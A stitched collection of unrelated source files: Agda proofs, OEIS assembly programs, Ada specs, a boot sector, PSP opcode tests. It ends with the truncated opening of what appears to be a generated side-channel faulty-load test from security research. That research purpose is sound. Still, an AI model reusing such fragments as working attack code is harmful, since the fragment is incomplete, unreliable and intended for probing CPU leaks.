D=M
@SP
AM=M+1
A=A-1
M=D
// push constant 1
@1
D=A
@SP
AM=M+1
A=A-1
M=D
// sub
@SP
AM=M-1
D=M
@SP
A=M-1
M=M-D
// pop argument 0
@ARG
D=M
@R13
M=D
@SP
AM=M-1
D=M
@R13
A=M
M=D
// goto MAIN_LOOP_START
@$MAIN_LOOP_START
0;JMP
// label END_PROGRAM
($END_PROGRAM) |
agda-stdlib/src/Algebra/Morphism/MonoidMonomorphism.agda | DreamLinuxer/popl21-artifact | 5 | 12056 | ------------------------------------------------------------------------
-- The Agda standard library
--
-- Consequences of a monomorphism between monoid-like structures
------------------------------------------------------------------------
-- See Data.Nat.Binary.Properties for examples of how this and similar
-- modules can be used to easily translate properties between types.
{-# OPTIONS --without-K --safe #-}
open import Algebra.Bundles
open import Algebra.Morphism.Structures
open import Relation.Binary.Core
module Algebra.Morphism.MonoidMonomorphism
{a b ℓ₁ ℓ₂} {M₁ : RawMonoid a ℓ₁} {M₂ : RawMonoid b ℓ₂} {⟦_⟧}
(isMonoidMonomorphism : IsMonoidMonomorphism M₁ M₂ ⟦_⟧)
where
open IsMonoidMonomorphism isMonoidMonomorphism
open RawMonoid M₁ renaming (Carrier to A; _≈_ to _≈₁_; _∙_ to _∙_; ε to ε₁)
open RawMonoid M₂ renaming (Carrier to B; _≈_ to _≈₂_; _∙_ to _◦_; ε to ε₂)
open import Algebra.Definitions
open import Algebra.Structures
open import Data.Product using (map)
import Relation.Binary.Reasoning.Setoid as SetoidReasoning
------------------------------------------------------------------------
-- Re-export all properties of magma monomorphisms
open import Algebra.Morphism.MagmaMonomorphism
isMagmaMonomorphism public
------------------------------------------------------------------------
-- Properties
module _ (◦-isMagma : IsMagma _≈₂_ _◦_) where
open IsMagma ◦-isMagma renaming (∙-cong to ◦-cong)
open SetoidReasoning setoid
identityˡ : LeftIdentity _≈₂_ ε₂ _◦_ → LeftIdentity _≈₁_ ε₁ _∙_
identityˡ idˡ x = injective (begin
⟦ ε₁ ∙ x ⟧ ≈⟨ homo ε₁ x ⟩
⟦ ε₁ ⟧ ◦ ⟦ x ⟧ ≈⟨ ◦-cong ε-homo refl ⟩
ε₂ ◦ ⟦ x ⟧ ≈⟨ idˡ ⟦ x ⟧ ⟩
⟦ x ⟧ ∎)
identityʳ : RightIdentity _≈₂_ ε₂ _◦_ → RightIdentity _≈₁_ ε₁ _∙_
identityʳ idʳ x = injective (begin
⟦ x ∙ ε₁ ⟧ ≈⟨ homo x ε₁ ⟩
⟦ x ⟧ ◦ ⟦ ε₁ ⟧ ≈⟨ ◦-cong refl ε-homo ⟩
⟦ x ⟧ ◦ ε₂ ≈⟨ idʳ ⟦ x ⟧ ⟩
⟦ x ⟧ ∎)
identity : Identity _≈₂_ ε₂ _◦_ → Identity _≈₁_ ε₁ _∙_
identity = map identityˡ identityʳ
zeroˡ : LeftZero _≈₂_ ε₂ _◦_ → LeftZero _≈₁_ ε₁ _∙_
zeroˡ zeˡ x = injective (begin
⟦ ε₁ ∙ x ⟧ ≈⟨ homo ε₁ x ⟩
⟦ ε₁ ⟧ ◦ ⟦ x ⟧ ≈⟨ ◦-cong ε-homo refl ⟩
ε₂ ◦ ⟦ x ⟧ ≈⟨ zeˡ ⟦ x ⟧ ⟩
ε₂ ≈˘⟨ ε-homo ⟩
⟦ ε₁ ⟧ ∎)
zeroʳ : RightZero _≈₂_ ε₂ _◦_ → RightZero _≈₁_ ε₁ _∙_
zeroʳ zeʳ x = injective (begin
⟦ x ∙ ε₁ ⟧ ≈⟨ homo x ε₁ ⟩
⟦ x ⟧ ◦ ⟦ ε₁ ⟧ ≈⟨ ◦-cong refl ε-homo ⟩
⟦ x ⟧ ◦ ε₂ ≈⟨ zeʳ ⟦ x ⟧ ⟩
ε₂ ≈˘⟨ ε-homo ⟩
⟦ ε₁ ⟧ ∎)
zero : Zero _≈₂_ ε₂ _◦_ → Zero _≈₁_ ε₁ _∙_
zero = map zeroˡ zeroʳ
------------------------------------------------------------------------
-- Structures
isMonoid : IsMonoid _≈₂_ _◦_ ε₂ → IsMonoid _≈₁_ _∙_ ε₁
isMonoid isMonoid = record
{ isSemigroup = isSemigroup M.isSemigroup
; identity = identity M.isMagma M.identity
} where module M = IsMonoid isMonoid
isCommutativeMonoid : IsCommutativeMonoid _≈₂_ _◦_ ε₂ →
IsCommutativeMonoid _≈₁_ _∙_ ε₁
isCommutativeMonoid isCommMonoid = record
{ isMonoid = isMonoid C.isMonoid
; comm = comm C.isMagma C.comm
} where module C = IsCommutativeMonoid isCommMonoid
|
programs/oeis/003/A003013.asm | neoneye/loda | 22 | 165763 | <filename>programs/oeis/003/A003013.asm
; A003013: E.g.f. 1+x*exp(x)+x^2*exp(2*x).
; 1,1,4,15,52,165,486,1351,3592,9225,23050,56331,135180,319501,745486,1720335,3932176,8912913,20054034,44826643,99614740,220200981,484442134,1061158935,2315255832,5033164825,10905190426,23555211291,50734301212,108984795165,233538846750,499289948191,1065151889440,2267742732321,4818953306146,10222022164515,21646635171876,45767171506213,96619584290854,203684529045543,428809534832680,901599534776361,1893359023030314,3971435999526955,8321103999008812,17416264183971885,36415825111941166,76068612456054831,158751886864810032,331014572611731505,689613692941107250,1435522381224345651,2985886552946638900,6205960286516543541,12889302133534359606,26751381786580746295,55484347409204510776,115003920084532985913,238222405889389756474,493162173595578794043,1020335531577059573820,2109846353430529966141,4360349130423095263294,9006622793988688576575,18594318026299228028992,38369227673315867361345,79136532076213976432706,163143004587887274491971,336173463999282868650052,692416985550761729458245,1425564382016274148884550,2933770177482767089008711,6035184365107406583103560,12410379116981427621593161,25510223740461823444385866,52418267959853061872025675,107669955809427910872268876,221082309262025310324392013,453800529537841426455330894,931175112558168121817432143,1910102794991114096035758160,3916919655551398526048010321,8029685293880366978398421074,16455898256594332326100467795,33714523257412778424205836372,69053842816387618459216773205,141395963862127028273634345046,289445855435412975524851482711,592354308798054461539230941272,1211943298460387289126242615385,2478974928668974000485496258650,5069364460873632225711913697371,10364034008897203661455468003420,21183629952251427264073813721181,43288287293731177452672575864926,88438436406547566838793434562655,180640210532522689713280206766176,368886324666414755835540632764513,753142912860596793164228791894114,1537343265426785206665126812319843
mov $3,2
mov $5,$0
lpb $3
mov $0,$5
sub $3,1
add $0,$3
trn $0,1
seq $0,116757 ; Number of permutations of length n which avoid the patterns 1324, 2314, 4312.
mov $2,$3
mul $2,$0
add $1,$2
mov $4,$0
lpe
min $5,1
mul $5,$4
sub $1,$5
mov $0,$1
|
tools/scitools/conf/understand/ada/ada95/a-stream.ads | brucegua/moocos | 1 | 7584 | ------------------------------------------------------------------------------
-- --
-- GNAT RUNTIME COMPONENTS --
-- --
-- A D A . S T R E A M S --
-- --
-- S p e c --
-- --
-- $Revision: 2 $ --
-- --
-- Copyright (c) 1992,1993,1994 NYU, All Rights Reserved --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. --
-- --
------------------------------------------------------------------------------
package Ada.Streams is
pragma Pure (Streams);
type Root_Stream_Type is abstract tagged limited private;
-- Changed value to avoid using GNAT Standard attributes
--type Stream_Element is mod 2 ** Standard'Storage_Unit;
type Stream_Element is mod 2 ** 1;
-- Changed value to avoid using GNAT Standard attributes
--type Stream_Element_Offset is range
-- -(2 ** (Standard'Address_Size - 1)) ..
-- +(2 ** (Standard'Address_Size - 1)) - 1;
type Stream_Element_Offset is range
-(2 ** (2 - 1)) ..
+(2 ** (2 - 1)) - 1;
subtype Stream_Element_Count is
Stream_Element_Offset range 0 .. Stream_Element_Offset'Last;
type Stream_Element_Array is
array (Stream_Element_Offset range <>) of Stream_Element;
procedure Read
(Stream : in out Root_Stream_Type;
Item : out Stream_Element_Array;
Last : out Stream_Element_Offset)
is abstract;
procedure Write
(Stream : in out Root_Stream_Type;
Item : in Stream_Element_Array)
is abstract;
private
type Root_Stream_Type is abstract tagged limited null record;
end Ada.Streams;
|
bootloader/bootsect.asm | yeahnye/cos | 0 | 9574 | <reponame>yeahnye/cos
%include "meminfo.inc"
%define newaddr(addr) (addr - BOOT_ORGI_ADDR + BOOT_NEWADDR)
section bootsect align=16 vstart=BOOT_ORGI_ADDR
jmp start
hellomsg db 'Welcome to the COS World!', 0x0d, 0x0a, 0
movedmsg db 'bootsect is moved sucessfully!', 0x0d, 0x0a, 0
errmsg_lba db "The machine doesn't support disk lba mode!", 0x0d, 0x0a, 0
errmsg_load db 'An error occured while loading system!', 0x0d, 0x0a, 0
;LBA mode Disk Address Packet Structure
disk_address_packet:
db 16 ; 1 byte, size of packet (16 bytes)
db 0 ; 1 byte, always is 0
dw 1 ; 2 bytes, number of sectors to transfer (max 127 on some BIOSes)
dw LOADER_ADDR, 0x0 ; 4 bytes, transfer buffer (16 bit segment:16 bit offset), buffer will store in 0x0:LOADER_ADDR
dd 1 ; 4 bytes, lower 32-bits of 48-bit starting LBA
dd 0 ; 4 bytes, upper 32-bits of 48-bit starting LBAs
;Print a message that si points and end when meets 0x0
printmsg:
mov ah, 0x0e
mov al, [si]
cmp al ,0x0
jz _strend
int 0x10
inc si
jmp printmsg
_strend:
ret
;Disk LBA mode MUST BE supported, or boot die here
checklba:
mov ah, 0x41
mov bx, 0x55aa
mov dl, 0x80
int 0x13
jnc _haslba
mov si, errmsg_lba
call printmsg
jmp checklba
_haslba:
ret
;Print hello message
sayhello:
mov si, hellomsg
call printmsg
ret
start:
;Setup some segments and a temporary stack
xor ax, ax
mov ds, ax
mov es, ax
mov ss, ax
mov sp, TEMP_STACK
call checklba
call sayhello
;move boot sector from phyaddr 0x7c00 to BOOT_NEWADDR, then jump there
xor ax, ax
mov ds, ax
mov es, ax
mov si, BOOT_ORGI_ADDR
mov di, BOOT_NEWADDR
mov cx, BOOTSECT_SIZE>>1
rep movsw
jmp 0x0 : newaddr(continue_in_new_address) ; segment:offset in segment
continue_in_new_address:
mov si, newaddr(movedmsg)
call printmsg
;loading loader from disk using lba mode
mov si, disk_address_packet
mov ah, 0x42
mov dl, 0x80
int 0x13
jc load_error
jmp 0x0 : LOADER_ADDR
jmp $
load_error:
mov si, newaddr(load_error)
call printmsg
jmp $
times 510-($-$$) db 0x0
db 0x55, 0xaa
|
step011 - basic boot sector/boot_sect.asm | Bigsby/OperatingSystem | 0 | 7117 | <filename>step011 - basic boot sector/boot_sect.asm<gh_stars>0
;
; A simple boot sector program that loops forever.
;
loop: ; Define a label , " loop " , that will allow
; us to jump back to it , forever.
jmp loop ; Use a simple CPU instruction that jumps
; to a new memory address to continue execution.
; In our case , jump to the address of the current
; instruction.
times 510-($-$$) db 0 ; When compiled , our program must fit into 512 bytes ,
; with the last two bytes being the magic number ,
; so here , tell our assembly compiler to pad out our
; program with enough zero bytes ( db 0) to bring us to the
; 510 th byte.
dw 0xaa55 ; Last two bytes ( one word ) form the magic number ,
; so BIOS knows we are a boot sector.
|
Tests/MIPS/PSP Opcodes/PSP Opcodes.asm | Thar0/armips | 283 | 91081 | .psp
.create "output.bin", 0
; PSP opcodes
ll a1,4(a2)
lwc1 f1,(a2)
lv.s S123,0x20(s0)
lv.s S321,(s0)
ulv.q C220,0x40(s1)
ulv.q C222,0x40(s1)
lvl.q C220,0x40(s1)
lvr.q C220,0x40(s1)
lv.q C530,0x40(s1)
lv.q C530,(s1)
sc a1,4(a2)
swc1 f1,(a2)
sv.s S123,0x20(s0)
sv.s S321,(s0)
usv.q C220,0x40(s1)
usv.q C222,0x40(s1)
svl.q C220,0x40(s1)
svr.q C220,0x40(s1)
sv.q C530,0x40(s1)
sv.q C530,(s1)
sv.q C530,0x40(s1), wb
sv.q C530,(s1), wb
; Special
rotr a1,a2,3h
rotr a1,3h
rotrv a1,a2,a3
rotrv a1,a2
clo a1,a2
clz a1,a2
madd a1,a2
maddu a1,a2
max a1,a2,a3
min a1,a2,a3
msub a1,a2
msubu a1,a2
; VFPU0
vadd.s S100,S220,S333
vsub.p R122,C430,C010
vsbn.t c121,C430,C010
vdiv.q R122,C430,C010
.close |
src/math.ads | SKNZ/BezierToSTL | 0 | 19666 | <reponame>SKNZ/BezierToSTL
with Vecteurs; use Vecteurs;
package Math is
-- Hypothénuse
-- https://en.wikipedia.org/wiki/Hypot
function Hypot(P : Point2D) return Float;
end;
|
Base/Denotation/Environment.agda | inc-lc/ilc-agda | 10 | 10178 | <filename>Base/Denotation/Environment.agda
------------------------------------------------------------------------
-- INCREMENTAL λ-CALCULUS
--
-- Environments
--
-- This module defines the meaning of contexts, that is,
-- the type of environments that fit a context, together
-- with operations and properties of these operations.
--
-- This module is parametric in the syntax and semantics
-- of types, so it can be reused for different calculi
-- and models.
------------------------------------------------------------------------
module Base.Denotation.Environment
(Type : Set)
{ℓ}
(⟦_⟧Type : Type → Set ℓ)
where
open import Relation.Binary.PropositionalEquality
open import Base.Syntax.Context Type
open import Base.Denotation.Notation
open import Base.Data.DependentList as DependentList
private
instance
meaningOfType : Meaning Type
meaningOfType = meaning ⟦_⟧Type
⟦_⟧Context : Context → Set ℓ
⟦_⟧Context = DependentList ⟦_⟧Type
instance
meaningOfContext : Meaning Context
meaningOfContext = meaning ⟦_⟧Context
-- VARIABLES
-- Denotational Semantics
⟦_⟧Var : ∀ {Γ τ} → Var Γ τ → ⟦ Γ ⟧ → ⟦ τ ⟧
⟦ this ⟧Var (v • ρ) = v
⟦ that x ⟧Var (v • ρ) = ⟦ x ⟧Var ρ
instance
meaningOfVar : ∀ {Γ τ} → Meaning (Var Γ τ)
meaningOfVar = meaning ⟦_⟧Var
-- WEAKENING
-- Remove a variable from an environment
⟦_⟧≼ : ∀ {Γ₁ Γ₂} → (Γ′ : Γ₁ ≼ Γ₂) → ⟦ Γ₂ ⟧ → ⟦ Γ₁ ⟧
⟦ ∅ ⟧≼ ∅ = ∅
⟦ keep τ • Γ′ ⟧≼ (v • ρ) = v • ⟦ Γ′ ⟧≼ ρ
⟦ drop τ • Γ′ ⟧≼ (v • ρ) = ⟦ Γ′ ⟧≼ ρ
instance
meaningOf≼ : ∀ {Γ₁ Γ₂} → Meaning (Γ₁ ≼ Γ₂)
meaningOf≼ = meaning ⟦_⟧≼
-- Properties
⟦∅≼Γ⟧-∅ : ∀ {Γ} ρ → ⟦ ∅≼Γ {Γ = Γ} ⟧≼ ρ ≡ ∅
⟦∅≼Γ⟧-∅ {∅} ∅ = refl
⟦∅≼Γ⟧-∅ {x • Γ} (v • ρ) = ⟦∅≼Γ⟧-∅ ρ
⟦⟧-≼-trans : ∀ {Γ₃ Γ₁ Γ₂} → (Γ′ : Γ₁ ≼ Γ₂) (Γ″ : Γ₂ ≼ Γ₃) →
∀ (ρ : ⟦ Γ₃ ⟧) → ⟦_⟧ {{meaningOf≼}} (≼-trans Γ′ Γ″) ρ ≡ ⟦_⟧ {{meaningOf≼}} Γ′ (⟦_⟧ {{meaningOf≼}} Γ″ ρ)
⟦⟧-≼-trans Γ′ ∅ ∅ = refl
⟦⟧-≼-trans (keep τ • Γ′) (keep .τ • Γ″) (v • ρ) = cong₂ _•_ refl (⟦⟧-≼-trans Γ′ Γ″ ρ)
⟦⟧-≼-trans (drop τ • Γ′) (keep .τ • Γ″) (v • ρ) = ⟦⟧-≼-trans Γ′ Γ″ ρ
⟦⟧-≼-trans Γ′ (drop τ • Γ″) (v • ρ) = ⟦⟧-≼-trans Γ′ Γ″ ρ
⟦⟧-≼-refl : ∀ {Γ : Context} →
∀ (ρ : ⟦ Γ ⟧) → ⟦_⟧ {{meaningOf≼}} ≼-refl ρ ≡ ρ
⟦⟧-≼-refl {∅} ∅ = refl
⟦⟧-≼-refl {τ • Γ} (v • ρ) = cong₂ _•_ refl (⟦⟧-≼-refl ρ)
-- SOUNDNESS of variable lifting
weaken-var-sound : ∀ {Γ₁ Γ₂ τ} (Γ′ : Γ₁ ≼ Γ₂) (x : Var Γ₁ τ) →
∀ (ρ : ⟦ Γ₂ ⟧) → ⟦_⟧ {{meaningOfVar}} (weaken-var Γ′ x) ρ ≡ ⟦_⟧ {{meaningOfVar}} x ( ⟦_⟧ {{meaningOf≼}} Γ′ ρ)
weaken-var-sound ∅ () ρ
weaken-var-sound (keep τ • Γ′) this (v • ρ) = refl
weaken-var-sound (keep τ • Γ′) (that x) (v • ρ) = weaken-var-sound Γ′ x ρ
weaken-var-sound (drop τ • Γ′) this (v • ρ) = weaken-var-sound Γ′ this ρ
weaken-var-sound (drop τ • Γ′) (that x) (v • ρ) = weaken-var-sound Γ′ (that x) ρ
|
src/natools-gnat_hmac.adb | faelys/natools | 0 | 7098 | ------------------------------------------------------------------------------
-- Copyright (c) 2014, <NAME> --
-- --
-- Permission to use, copy, modify, and distribute this software for any --
-- purpose with or without fee is hereby granted, provided that the above --
-- copyright notice and this permission notice appear in all copies. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES --
-- WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF --
-- MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR --
-- ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES --
-- WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN --
-- ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF --
-- OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. --
------------------------------------------------------------------------------
with Natools.S_Expressions.Encodings;
package body Natools.GNAT_HMAC is
----------------------------
-- Generic Implementation --
----------------------------
function Generic_Digest (C : Context)
return Ada.Streams.Stream_Element_Array is
begin
return S_Expressions.Encodings.Decode_Hex
(S_Expressions.To_Atom (Hex_Digest (C)));
end Generic_Digest;
---------------------------
-- Specialized Instances --
---------------------------
function MD5_Digest is new Generic_Digest
(GNAT.MD5.Context, GNAT.MD5.Digest);
function Digest (C : GNAT.MD5.Context)
return Ada.Streams.Stream_Element_Array
renames MD5_Digest;
function SHA1_Digest is new Generic_Digest
(GNAT.SHA1.Context, GNAT.SHA1.Digest);
function Digest (C : GNAT.SHA1.Context)
return Ada.Streams.Stream_Element_Array
renames SHA1_Digest;
function SHA256_Digest is new Generic_Digest
(GNAT.SHA256.Context, GNAT.SHA256.Digest);
function Digest (C : GNAT.SHA256.Context)
return Ada.Streams.Stream_Element_Array
renames SHA256_Digest;
end Natools.GNAT_HMAC;
|
oeis/146/A146078.asm | neoneye/loda-programs | 11 | 92508 | ; A146078: Expansion of 1/(1-x*(1-9*x)).
; 1,1,-8,-17,55,208,-287,-2159,424,19855,16039,-162656,-307007,1156897,3919960,-6492113,-41771753,16657264,392603041,242687665,-3290739704,-5474928689,24141728647,73416086848,-143859470975,-804604252607,490130986168,7731569259631,3320390384119,-66263732952560,-96147246409631,500226350163409,1365551567850088,-3136485583620593,-15426449694271385,12801920558313952,151639967806756417,36422682781930849,-1328337027478876904,-1656141172516254545,10298892074793637591,25204162627439928496
mul $0,2
mov $1,1
lpb $0
sub $0,2
sub $1,$2
add $2,$1
mul $2,9
lpe
mov $0,$1
|
programs/oeis/216/A216876.asm | neoneye/loda | 22 | 105234 | <reponame>neoneye/loda
; A216876: 20k^2-20k-5 interleaved with 20k^2+5 for k=>0.
; -5,5,-5,25,35,85,115,185,235,325,395,505,595,725,835,985,1115,1285,1435,1625,1795,2005,2195,2425,2635,2885,3115,3385,3635,3925,4195,4505,4795,5125,5435,5785,6115,6485,6835,7225,7595,8005,8395,8825,9235,9685
sub $0,1
mov $1,$0
pow $0,2
add $0,2
add $1,1
gcd $1,2
pow $1,2
sub $0,$1
mul $0,5
|
programs/oeis/270/A270033.asm | neoneye/loda | 22 | 97307 | ; A270033: a(n) is the smallest b for which the base-b representation of n contains at least one 7 (or 0 if no such base exists).
; 0,0,0,0,0,0,8,0,0,0,0,0,0,0,8,9,10,11,12,13,14,15,8,17,9,19,10,21,11,23,8,25,13,9,14,29,10,31,8,11,17,35,9,37,19,13,8,41,14,43,11,9,23,47,8,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,8,10,10,10,10,10,10,10,8,11,11,11,11,11,11,11,8,9,12,12,12,12,12,12,8,13,9,13,13,13
add $0,1
mov $2,2
mov $3,$0
mov $4,$0
lpb $3
mov $5,$4
lpb $5
add $1,$2
lpb $0
mov $6,$0
div $0,$2
mod $6,$2
cmp $6,7
sub $5,$6
lpe
lpe
add $2,1
mov $6,$0
cmp $6,1
cmp $6,0
sub $3,$6
lpe
mov $0,$1
|
Univalence/OldUnivalence/Equivalences.agda | JacquesCarette/pi-dual | 14 | 1008 | <filename>Univalence/OldUnivalence/Equivalences.agda
{-# OPTIONS --without-K #-}
module Equivalences where
open import Level
open import Data.Empty
open import Data.Sum renaming (map to _⊎→_)
open import Data.Product renaming (map to _×→_)
open import Function renaming (_∘_ to _○_)
open import SimpleHoTT
infix 4 _∼_ -- homotopy between two functions
infix 4 _≃_ -- type of equivalences
infix 2 _∎≃ -- equational reasoning for equivalences
infixr 2 _≃⟨_⟩_ -- equational reasoning for equivalences
-- Equivalences
_∼_ : ∀ {ℓ ℓ'} → {A : Set ℓ} {P : A → Set ℓ'} →
(f g : (x : A) → P x) → Set (ℓ ⊔ ℓ')
_∼_ {ℓ} {ℓ'} {A} {P} f g = (x : A) → f x ≡ g x
-- Lemma 2.4.2
refl∼ : {A B : Set} {f : A → B} → (f ∼ f)
refl∼ {A} {B} {f} x = refl (f x)
sym∼ : {A B : Set} {f g : A → B} → (f ∼ g) → (g ∼ f)
sym∼ H x = ! (H x)
trans∼ : {A B : Set} {f g h : A → B} → (f ∼ g) → (g ∼ h) → (f ∼ h)
trans∼ H G x = H x ∘ G x
--
record qinv {ℓ ℓ'} {A : Set ℓ} {B : Set ℓ'} (f : A → B) :
Set (ℓ ⊔ ℓ') where
constructor mkqinv
field
g : B → A
α : (f ○ g) ∼ id
β : (g ○ f) ∼ id
idqinv : ∀ {ℓ} → {A : Set ℓ} → qinv {ℓ} {ℓ} {A} {A} id
idqinv = record {
g = id ;
α = λ b → refl b ;
β = λ a → refl a
}
record isequiv {ℓ ℓ'} {A : Set ℓ} {B : Set ℓ'} (f : A → B) :
Set (ℓ ⊔ ℓ') where
constructor mkisequiv
field
g : B → A
α : (f ○ g) ∼ id
h : B → A
β : (h ○ f) ∼ id
equiv₁ : ∀ {ℓ ℓ'} → {A : Set ℓ} {B : Set ℓ'} {f : A → B} → qinv f → isequiv f
equiv₁ (mkqinv qg qα qβ) = mkisequiv qg qα qg qβ
equiv₂ : ∀ {ℓ ℓ'} → {A : Set ℓ} {B : Set ℓ'} {f : A → B} → isequiv f → qinv f
equiv₂ {f = f} (mkisequiv ig iα ih iβ) =
record {
g = ig ;
α = iα ;
β = λ x → ig (f x)
≡⟨ ! (iβ (ig (f x))) ⟩
ih (f (ig (f x)))
≡⟨ ap ih (iα (f x)) ⟩
ih (f x)
≡⟨ iβ x ⟩
x ∎
}
_≃_ : ∀ {ℓ ℓ'} (A : Set ℓ) (B : Set ℓ') → Set (ℓ ⊔ ℓ')
A ≃ B = Σ (A → B) isequiv
id≃ : ∀ {ℓ} {A : Set ℓ} → A ≃ A
id≃ = (id , equiv₁ idqinv)
sym≃ : ∀ {ℓ ℓ'} {A : Set ℓ} {B : Set ℓ'} → (A ≃ B) → B ≃ A
sym≃ (A→B , equiv) with equiv₂ equiv
... | mkqinv g α β = g , equiv₁ (mkqinv A→B β α)
trans≃ : {A B C : Set} → A ≃ B → B ≃ C → A ≃ C
trans≃ (f , feq) (g , geq) with equiv₂ feq | equiv₂ geq
... | mkqinv ff fα fβ | mkqinv gg gα gβ =
(g ○ f , equiv₁ (mkqinv
(ff ○ gg)
(λ c → g (f (ff (gg c)))
≡⟨ ap g (fα (gg c)) ⟩
g (gg c)
≡⟨ gα c ⟩
c ∎)
(λ a → ff (gg (g (f a)))
≡⟨ ap ff (gβ (f a)) ⟩
ff (f a)
≡⟨ fβ a ⟩
a ∎)))
-- equivalences are injective
_⋆_ : {A B : Set} → (A ≃ B) → (x : A) → B
(f , _) ⋆ x = f x
inj≃ : {A B : Set} → (eq : A ≃ B) → (x y : A) → (eq ⋆ x ≡ eq ⋆ y → x ≡ y)
inj≃ (f , mkisequiv g α h β) x y p = ! (β x) ∘ (ap h p ∘ β y)
-- equivalences for coproducts (Sec. 2.12)
codeqinv : {A B : Set} {a₀ : A} {x : A ⊎ B} → qinv (encode a₀ x)
codeqinv {A} {B} {a₀} {x} = record {
g = decode a₀ x ;
α = indCP
(λ x → (c : code a₀ x) → encode a₀ x (decode a₀ x c) ≡ c)
(λ a c → encode a₀ (inj₁ a) (decode a₀ (inj₁ a) c)
≡⟨ bydef ⟩
encode a₀ (inj₁ a) (ap inj₁ c)
≡⟨ bydef ⟩
transport (code a₀) (ap inj₁ c) (refl a₀)
≡⟨ ! (transport-f inj₁ (code a₀) c (refl a₀)) ⟩
transport (λ a → code {A} {B} a₀ (inj₁ a)) c (refl a₀)
≡⟨ bydef ⟩
transport (λ a → a₀ ≡ a) c (refl a₀)
≡⟨ transportIdR c (refl a₀) ⟩
(refl a₀) ∘ c
≡⟨ ! (unitTransL c) ⟩
c ∎)
(λ b ())
x ;
β = λ p → basedPathInd
(inj₁ a₀)
(λ x p → decode a₀ x (encode a₀ x p) ≡ p)
(decode a₀ (inj₁ a₀)
(encode {A} {B} a₀ (inj₁ a₀) (refl (inj₁ a₀)))
≡⟨ bydef ⟩
(decode a₀ (inj₁ a₀)
(transport (code {A} {B} a₀) (refl (inj₁ a₀)) (refl a₀)))
≡⟨ bydef ⟩
(decode a₀ (inj₁ a₀) (refl a₀))
≡⟨ bydef ⟩
(ap inj₁ (refl a₀))
≡⟨ bydef ⟩
refl (inj₁ a₀) ∎)
x p }
thm2-12-5 : {A B : Set} → (a₀ : A) → (x : A ⊎ B) → (inj₁ a₀ ≡ x) ≃ code a₀ x
thm2-12-5 {A} {B} a₀ x = (encode a₀ x , equiv₁ codeqinv)
inj₁₁path : {A B : Set} → (a₁ a₂ : A) →
(inj₁ {A = A} {B = B} a₁ ≡ inj₁ a₂) ≃ (a₁ ≡ a₂)
inj₁₁path a₁ a₂ = thm2-12-5 a₁ (inj₁ a₂)
inj₁₂path : {A B : Set} → (a : A) (b : B) → (inj₁ a ≡ inj₂ b) ≃ ⊥
inj₁₂path a b = thm2-12-5 a (inj₂ b)
-- Abbreviations for equivalence compositions
_≃⟨_⟩_ : (A : Set) {B C : Set} → (A ≃ B) → (B ≃ C) → (A ≃ C)
_ ≃⟨ p ⟩ q = trans≃ p q
_∎≃ : {ℓ : Level} {A : Set ℓ} → A ≃ A
_∎≃ {ℓ} {A} = id≃ {ℓ} {A}
|
source/oasis/program-elements-quantified_expressions.ads | reznikmm/gela | 0 | 11712 | <filename>source/oasis/program-elements-quantified_expressions.ads
-- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
with Program.Elements.Expressions;
with Program.Lexical_Elements;
with Program.Elements.Loop_Parameter_Specifications;
with Program.Elements.Generalized_Iterator_Specifications;
with Program.Elements.Element_Iterator_Specifications;
package Program.Elements.Quantified_Expressions is
pragma Pure (Program.Elements.Quantified_Expressions);
type Quantified_Expression is
limited interface and Program.Elements.Expressions.Expression;
type Quantified_Expression_Access is access all Quantified_Expression'Class
with Storage_Size => 0;
not overriding function Parameter
(Self : Quantified_Expression)
return Program.Elements.Loop_Parameter_Specifications
.Loop_Parameter_Specification_Access is abstract;
not overriding function Generalized_Iterator
(Self : Quantified_Expression)
return Program.Elements.Generalized_Iterator_Specifications
.Generalized_Iterator_Specification_Access is abstract;
not overriding function Element_Iterator
(Self : Quantified_Expression)
return Program.Elements.Element_Iterator_Specifications
.Element_Iterator_Specification_Access is abstract;
not overriding function Predicate
(Self : Quantified_Expression)
return not null Program.Elements.Expressions.Expression_Access
is abstract;
not overriding function Has_All
(Self : Quantified_Expression)
return Boolean is abstract;
not overriding function Has_Some
(Self : Quantified_Expression)
return Boolean is abstract;
type Quantified_Expression_Text is limited interface;
type Quantified_Expression_Text_Access is
access all Quantified_Expression_Text'Class with Storage_Size => 0;
not overriding function To_Quantified_Expression_Text
(Self : in out Quantified_Expression)
return Quantified_Expression_Text_Access is abstract;
not overriding function For_Token
(Self : Quantified_Expression_Text)
return not null Program.Lexical_Elements.Lexical_Element_Access
is abstract;
not overriding function All_Token
(Self : Quantified_Expression_Text)
return Program.Lexical_Elements.Lexical_Element_Access is abstract;
not overriding function Some_Token
(Self : Quantified_Expression_Text)
return Program.Lexical_Elements.Lexical_Element_Access is abstract;
not overriding function Arrow_Token
(Self : Quantified_Expression_Text)
return not null Program.Lexical_Elements.Lexical_Element_Access
is abstract;
end Program.Elements.Quantified_Expressions;
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_3_1718.asm | ljhsiun2/medusa | 9 | 21034 | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r9
push %rax
lea addresses_UC_ht+0x18780, %rax
nop
nop
cmp $6851, %r9
movl $0x61626364, (%rax)
nop
nop
sub $65273, %rax
pop %rax
pop %r9
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
